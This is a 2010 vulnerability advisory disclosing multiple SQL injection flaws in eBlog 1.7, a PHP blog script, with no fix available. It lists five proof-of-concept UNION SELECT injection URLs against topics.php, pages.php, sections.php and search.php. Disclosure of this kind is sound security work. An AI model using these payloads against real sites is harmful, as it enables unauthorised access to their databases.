eBlog 1.7 Multiple SQL Injection Vulnerabilities Name eBlog Vendor https://emuci.com Versions Affected 1.7 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-11-10 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ eBlog is a free script that can be used to manage and maintain personal blogs. II. DESCRIPTION _______________ Some parameters are not sanitised before being used in SQL queries. III. ANALYSIS _____________ Summary: A) Multiple SQL Injection A) Multiple SQL Injection _________________________ Input passed to "id", "keywords" and to some parameters sent via POST method, is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Successful exploitation, only in some cases, requires that magic_quotes_gpc is set to Off. IV. SAMPLE CODE _______________ A) Multiple SQL Injection The following sample code don't need requirements. http://site/path/topics.php?action=ShowComment&id=-1 UNION SELECT 1,2,3,4,5,6,7%23 The following sample codes require that magic_quotes_gpc is set to Off: http://site/path/pages.php?id=-1' UNION SELECT 1,2,3,4,1,6,7,1%23 http://site/path/topics.php?action=show&id=-1' UNION SELECT 1,2,3,4,5,6,7,8%23 http://site/path/sections.php?action=show&id=-1' UNION SELECT 1,2,3,4,5%23 http://site/path/search.php?keyword=%25' UNION SELECT 1,2,3,4,5,6,7,8%23 V. FIX ______ No fix.